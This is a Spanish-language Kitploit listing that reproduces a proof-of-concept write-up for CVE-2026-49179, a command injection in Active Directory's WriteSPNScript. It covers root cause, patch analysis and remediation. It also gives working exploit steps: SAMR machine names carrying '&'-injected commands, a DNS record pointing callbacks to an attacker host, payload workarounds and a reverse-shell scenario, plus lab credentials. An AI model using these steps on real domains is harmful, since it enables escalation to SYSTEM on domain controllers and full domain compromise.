Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection — Pruebas de concepto y scripts de exploit para CVE-2026-49179, una inyección de comandos en la función WriteSPNScript de Active Directory que permite RCE como SYSTEM en controladores de dominio. | Kitploit
Herramientas/GitHubGitHub/overgrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de Penetración
GitHubovergrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection

CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection

Pruebas de concepto y scripts de exploit para CVE-2026-49179, una inyección de comandos en la función WriteSPNScript de Active Directory que permite RCE como SYSTEM en controladores de dominio.

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
hace 6h 37mAún no revisado

CVE-2026-49179: Inyección de Comandos en WriteSPNScript de Active Directory

Resumen

CampoValor
ID CVECVE-2026-49179
CVSS8.8 (AV:N/AC:L/PR:L/UI:N)
CWECWE-77 (Inyección de Comandos)
Componente Afectadontdsai.dll — función WriteSPNScript
Sistemas AfectadosWindows Server 2016, 2019, 2022, 2025 (sin parchear)
Vector de AtaqueUsuario de dominio autenticado (cualquiera)
ImpactoEjecución Remota de Código como SYSTEM en el Controlador de Dominio
PublicadoAgosto 2026

Descripción de la Vulnerabilidad

La función WriteSPNScript en ntdsai.dll genera comandos de script por lotes para la remediación de SPN (Service Principal Name) durante las operaciones de mantenimiento de Active Directory. La función utiliza una cadena de formato para construir comandos repadmin.exe /writespn pero no sanitiza el parámetro Distinguished Name (DN), lo que permite la inyección de comandos a través del carácter & (separador de comandos de cmd.exe).

La cadena de formato vulnerable:

root@kitploit:~
%ws\repadmin.exe /writespn %ws %ws %ws\r\n

Parámetros: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value

El DN se deriva del Common Name (CN) de la cuenta de máquina, que se establece durante la creación de la cuenta. Cuando se crea una cuenta de máquina con metacaracteres de shell en su nombre, esos caracteres fluyen sin escapar hacia el script generado. Cuando cmd.exe ejecuta el script, & actúa como separador de comandos, ejecutando comandos controlados por el atacante como SYSTEM.

Análisis de la Causa Raíz

La Brecha de Validación: SAMR vs LDAP

Active Directory tiene dos protocolos principales para gestionar cuentas de máquina:

Esta asimetría de validación es la causa raíz:

  • La validación LDAP de SPN bloquea todos los caracteres peligrosos en los valores SPN (callejón sin salida para la inyección vía SPN)
  • La creación de cuentas SAMR permite metacaracteres de shell en sAMAccountName, que se convierte en el CN y fluye hacia el DN
  • El DN se pasa a WriteSPNScript sin sanitización

Código Vulnerable (ntdsai.dll Base)

En la dirección 0x1802a98a0 en el binario sin parchear:

root@kitploit:~
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
    STRSAFE_LPSTR pszDest;  // ANSI output buffer
    char local_288[47];     // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
    WCHAR local_258[264];   // System directory

    GetSystemDirectoryW(local_258, 0x104);

    // Calculate buffer size (sum of all string lengths + overhead)
    uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;

    // Allocate and format — NO ESCAPING of DN or SPN parameters
    pszDest = THAlloc_(param_1, 1, uVar4, 1);
    StringCchPrintfA(pszDest, uVar4, local_288, local_258);

    // Write to script file handle
    WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}

StringCchPrintfA formatea el DN directamente en el búfer de salida. Sin escape, sin comillas, sin sanitización.

Salida Generada (Vulnerable)

Para una máquina con CN=A&ping attacker&B:

root@kitploit:~
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B

cmd.exe interpreta esto como cinco sentencias separadas:

El comando inyectado aparece dos veces — una desde el parámetro DN y otra desde el parámetro SPN (que también contiene el nombre de la máquina).

Análisis del Parche

La función WriteSPNScript parcheada (tamaño: 1477 → 2005 bytes) introduce tres cambios:

1. Funciones de Escape Añadidas

Dos nuevas funciones de sanitización aplicadas a ambos parámetros DN y SPN:

  • EscapeForPowerShellSingleQuote() — escapa ' para prevenir el escape de cadenas entre comillas simples
  • EscapeForNativeArgvBackslashesBeforeDoubleQuote() — escapa secuencias \ antes de " para el análisis de argv nativo

2. Cambio en el Formato de Salida

3. Feature Flag Eliminado

Una revisión anterior tenía un feature flag Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled que condicionaba la corrección. En el parche final, este flag fue eliminado — la corrección está siempre activa y no puede deshabilitarse.

Prueba de Concepto

Entorno de Pruebas

Paso 1: Confirmar que SAMR Acepta Metacaracteres de Shell

Usando spn_probe3.py, se probó qué caracteres acepta SAMR en nombres de cuentas de máquina frente a lo que LDAP acepta en valores SPN:

root@kitploit:~
SAMR Machine Name Character Test (as samwell.tarly):
  [+] ACCEPTED  '   (single quote)     -> INJECT'A$  RID: 1123
  [+] ACCEPTED  `   (backtick)         -> INJECT`A$  RID: 1124
  [+] ACCEPTED  &   (ampersand)        -> INJECT&A$  RID: 1125
  [+] ACCEPTED  $   (dollar sign)      -> INJECT$A$  RID: 1126
  [+] ACCEPTED  (   (left paren)       -> INJECT(A$  RID: 1127
  [+] ACCEPTED  )   (right paren)      -> INJECT)A$  RID: 1128
  [+] ACCEPTED  !   (exclamation)      -> INJECT!A$  RID: 1129
  [+] ACCEPTED  ' ' (space)            -> INJECT A$  RID: 1130

LDAP SPN Validation (all 28 shell metacharacters tested):
  [-] ALL REJECTED with constraintViolation (DSID-033E109C)

Hallazgo clave: SAMR permite los 8 metacaracteres de shell probados. LDAP los bloquea todos. El vector de inyección es a través de nombres de máquina creados por SAMR, no a través de valores SPN.

Paso 2: Crear Máquina de Inyección como Usuario de Dominio Normal

root@kitploit:~
$ python3 spn_prl_exploit.py 192.168.56.11 \
    -d north.sevenkingdoms.local \
    -u samwell.tarly -p Heartsbane --payload benign

[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137

También creado como samwell.tarly:

root@kitploit:~
[+] Created C&ping a&D$, RID: 1138

Confirmado: un usuario de dominio normal (PR:L) puede crear cuentas de máquina con inyección de comandos & en el nombre.

Paso 3: Añadir Registro DNS para Callback (como Usuario Normal)

Los usuarios de dominio normales pueden añadir registros ADIDNS. Se usó dnstool.py para crear un nombre de host corto apuntando al atacante:

root@kitploit:~
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
    -r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11

Resolución verificada en el DC:

root@kitploit:~
*Evil-WinRM* PS> nslookup a.north.sevenkingdoms.local
Name:    a.north.sevenkingdoms.local
Address:  192.168.14.238

Paso 4: Verificar la Inyección de Comandos en el DC

Simulando la salida exacta que generaría WriteSPNScript, ejecutada en el DC:

Prueba de Escritura de Archivo:

root@kitploit:~
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&echo INJECTED > C:\Windows\Temp\proof.txt&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

*Evil-WinRM* PS> type C:\Windows\Temp\proof.txt
INJECTED

Prueba de Callback ICMP:

root@kitploit:~
*Evil-WinRM* PS> cmd /c "C:\Windows\System32\repadmin.exe /writespn ADD CN=X&ping -n 3 192.168.14.238&Y,CN=Computers,DC=north,DC=sevenkingdoms,DC=local HOST/test"

Pinging 192.168.14.238 with 32 bytes of data:
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127
Reply from 192.168.14.238: bytes=32 time<1ms TTL=127

El tcpdump del atacante confirmó la llegada de ICMP:

root@kitploit:~
02:36:10.815690 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 10
02:36:10.815724 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 10
02:36:11.820112 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 11
02:36:11.820127 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 11
02:36:12.834677 eth1 In  IP 192.168.14.131 > 192.168.14.238: ICMP echo request, id 1, seq 12
02:36:12.834693 eth1 Out IP 192.168.14.238 > 192.168.14.131: ICMP echo reply, id 1, seq 12

Tanto la escritura de archivo como el callback ICMP confirman la inyección de comandos a través del DN.

Lo que se Demostró

Obstáculos y Limitaciones

1. Límite de Longitud de sAMAccountName (~15 caracteres)

El sAMAccountName de la cuenta de máquina está limitado a aproximadamente 15 caracteres antes del $ final (restricción de compatibilidad con NetBIOS). Esto restringe severamente la complejidad del payload.

Impacto: No se pueden incrustar direcciones IP, comandos largos o payloads complejos directamente en el nombre de la máquina.

Solución alternativa: Usar nombres de host DNS cortos para callbacks (por ejemplo, a de un solo carácter que resuelve a la IP del atacante). Los payloads deben ser concisos:

  • A&ping a&B (11 caracteres) — callback ICMP
  • A&echo X&B (11 caracteres) — prueba de ejecución
  • A&calc&B (8 caracteres) — prueba GUI en el DC
  • A&whoami&B (11 caracteres) — confirmación de contexto

2. SAMR Rechaza Ciertos Caracteres

Aunque SAMR acepta metacaracteres de shell (& ' \ $ ( ) ! espacio`), rechaza caracteres necesarios para rutas de archivos y direcciones de red:

Impacto: No se pueden usar direcciones IP, rutas de archivos o URLs directamente en los payloads.

Solución alternativa:

  • Crear registros ADIDNS cortos apuntando al atacante (los usuarios de dominio normales pueden hacerlo)
  • Usar variables de entorno (%TEMP%, %SYSTEMROOT%) — aunque la aceptación de % no está confirmada
  • Usar direccionamiento basado en nombre de host en lugar de IPs

3. El Disparador de WriteSPNScript No Es Inmediato

WriteSPNScript genera un archivo de script mediante WriteFile — no ejecuta comandos directamente. El script generado debe ser ejecutado por un proceso posterior. La función se invoca durante:

  • dcdiag /fix — el administrador ejecuta la herramienta de diagnóstico/reparación
  • Replicación de AD — conflictos de SPN procesados entre DCs
  • FixupSPNsOnComputerObject — corrección de SPN durante cambios de atributos
  • Herramientas de auditoría de SPN — scripts de mantenimiento de terceros o integrados

Impacto: La inyección se prepara inmediatamente (creación de la máquina), pero la ejecución depende de un evento disparador en el DC. En un entorno de un solo DC sin socio de replicación, el disparador puede requerir actividad del administrador (por ejemplo, ejecutar dcdiag /fix).

En entornos de producción: Los despliegues multi-DC tienen ciclos de replicación regulares. Las discrepancias de SPN descubiertas durante la replicación dispararían WriteSPNScript automáticamente como parte de la resolución de conflictos.

4. Cuota de Cuentas de Máquina

El valor predeterminado de ms-DS-MachineAccountQuota es 10 por usuario. Cada intento de inyección consume una ranura. Las cuentas de máquina con caracteres especiales en sus nombres son difíciles de eliminar mediante herramientas estándar.

Impacto: Intentos limitados por cuenta de usuario. Los intentos fallidos desperdician cuota.

Solución alternativa: Cada usuario de dominio tiene su propia cuota. En entornos con muchos usuarios, un atacante podría usar múltiples cuentas.

5. Dificultad de Limpieza

Las cuentas de máquina creadas con &, $, (, ) en sus nombres no se pueden eliminar fácilmente a través de las herramientas estándar de gestión de AD (ADUC, PowerShell Remove-ADComputer) porque los caracteres especiales interfieren con el análisis de comandos. Esto deja artefactos forenses.

6. El Enfoque de Renombrado Requiere Administrador

Una ruta de explotación alternativa — crear una máquina con nombre limpio, establecer SPNs válidos, luego renombrar para inyectar el DN — fue probada pero la operación LDAP ModifyDN (renombrar) requiere privilegios elevados:

root@kitploit:~
samwell.tarly: [-] Rename failed: insufficientAccessRights
robb.stark:    [+] Rename succeeded (domain admin)

Impacto: La estrategia de renombrado no es viable para PR:L. La creación directa vía SAMR con caracteres de inyección es la ruta PR:L.

Impacto

Cadena de Escalada de Privilegios

  1. Un usuario de dominio normal crea una cuenta de máquina con &<comando>& en el nombre vía SAMR
  2. Una operación de mantenimiento de AD dispara WriteSPNScript, que genera un comando repadmin.exe sin escapar
  3. El comando inyectado se ejecuta como NT AUTHORITY\SYSTEM en el Controlador de Dominio
  4. Desde SYSTEM en el DC, el atacante tiene compromiso total del dominio:
    • Volcar todas las credenciales (ntds.dit / DCSync)
    • Crear cuentas de administrador de dominio
    • Modificar la Directiva de Grupo para persistencia
    • Comprometer todo el bosque de AD

Escenario de Ataque Realista

root@kitploit:~
Día 1: El atacante (cualquier usuario de dominio) ejecuta el exploit
  - Crea la máquina "A&ping a&B$" vía SAMR
  - Añade el registro DNS "a" apuntando a su servidor C2
  - La inyección queda preparada — el atacante espera

Día N: El administrador ejecuta dcdiag /fix (mantenimiento rutinario)
  - WriteSPNScript procesa la cuenta de máquina maliciosa
  - Genera el comando repadmin con el DN sin escapar
  - cmd.exe ejecuta "ping a" como SYSTEM → confirma el callback
  
Día N: El atacante mejora el payload
  - Crea una nueva máquina con un payload de reverse shell
  - Espera el siguiente ciclo de mantenimiento o evento de replicación
  - Shell SYSTEM en el DC → compromiso total del dominio

Remediación

  1. Aplicar la actualización de seguridad del Patch Tuesday de agosto de 2026 de Microsoft

  2. Auditar las cuentas de máquina en busca de caracteres inusuales:

    root@kitploit:~
    Get-ADComputer -Filter * -Properties sAMAccountName |
      Where-Object { $_.sAMAccountName -match '[&\x27`$()! ]' } |
      Select-Object Name, sAMAccountName, Created, DistinguishedName
    
  3. Establecer ms-DS-MachineAccountQuota en 0 para impedir que los usuarios normales creen cuentas de máquina:

    root@kitploit:~
    Set-ADDomain -Identity "domain.local" -Replace @{"ms-DS-MachineAccountQuota"=0}
    
  4. Monitorizar el Event ID 4741 (cuenta de equipo creada) en busca de caracteres inusuales en los nombres de cuenta

  5. Restringir la creación de registros ADIDNS si los usuarios normales no la necesitan

Archivos

Referencias

  • Aviso de Seguridad de Microsoft — CVE-2026-49179
  • Entrada CVE de MITRE
  • CWE-77: Neutralización Incorrecta de Elementos Especiales utilizados en un Comando ('Inyección de Comandos')
Descargar herramienta
ProtocoloValidación de CaracteresMetacaracteres de Shell
LDAP (valores SPN)Estricta — CONSTRAINT_ATT_TYPE rechaza & ; | ' \ $ ( )`Bloqueados
SAMR (nombres de máquina)Laxa — valida el formato básico del nombre de cuentaPermitidos: & ' \ $ ( ) ! espacio`
#SentenciaResultado
1C:\...\repadmin.exe /writespn ADD CN=AFalla (DN truncado)
2ping attackerINYECTADO — se ejecuta como SYSTEM
3B,CN=Computers,DC=... HOST/AFalla (no es un comando válido)
4ping attackerINYECTADO — se ejecuta de nuevo (desde el parámetro SPN)
5BFalla (no es un comando válido)
Base (Vulnerable)Parcheado
FunciónStringCchPrintfA (ANSI)StringCchPrintfW (Wide/Unicode)
ComillasNingunaParámetros entre comillas simples
Salidarepadmin /writespn ADD DN SPNrepadmin /writespn ADD 'escaped_DN' 'escaped_SPN'
HostRolIPSO
WINTERFELLControlador de Dominio192.168.56.11Windows Server 2019
AtacanteKali Linux192.168.14.238Kali 2026
Dominionorth.sevenkingdoms.local
Usuario de bajo privilegiosamwell.tarly / HeartsbaneUsuario de dominio normal
Usuario administradorrobb.stark / sexywolfyAdministrador de dominio
PasoAcciónActorResultado
1SAMR acepta & en nombres de máquinasamwell.tarly (PR:L)RID 1125, 1137, 1138
2LDAP rechaza & en valores SPNsamwell.tarly100% de rechazo
3Creación de registro DNS para callbacksamwell.tarly (PR:L)a → 192.168.14.238
4Cuenta de máquina con CN de inyecciónsamwell.tarly (PR:L)A&echo POC&B$, C&ping a&D$
5Escritura de archivo vía inyección cmdDC (WriteSPNScript simulado)proof.txt = "INJECTED"
6Callback ICMP vía inyección cmdDC (WriteSPNScript simulado)3 pings recibidos
RechazadoCaso de Uso Bloqueado
. (punto)Direcciones IP (192.168.1.1), FQDN
\ (barra invertida)Rutas de Windows (C:\Windows\...)
/ (barra inclinada)Rutas URL, rutas Unix
: (dos puntos)Letras de unidad (C:), números de puerto
" (comilla doble)Comillas/escape en payloads
< > | ; , = + * ?Redirección, tuberías, comodines
ArchivoDescripción
poc/spn_probe.pyPrueba los 28 metacaracteres de shell en valores SPN de LDAP
poc/spn_probe2.pyPrueba el bypass de ancho completo/homoglifo Unicode + transporte DRSUAPI
poc/spn_probe3.pyPrueba la aceptación de caracteres SAMR vs LDAP vs DRSUAPI
poc/spn_exploit.pyExploit mediante estrategia de renombrado (crear → SPN → renombrar → inyectar)
poc/spn_prl_exploit.pyExploit PR:L (creación directa vía SAMR + disparador dNSHostName opcional)
nspi_diff_analysis.txtDiff binario completo de ntdsai.dll (base vs parcheado)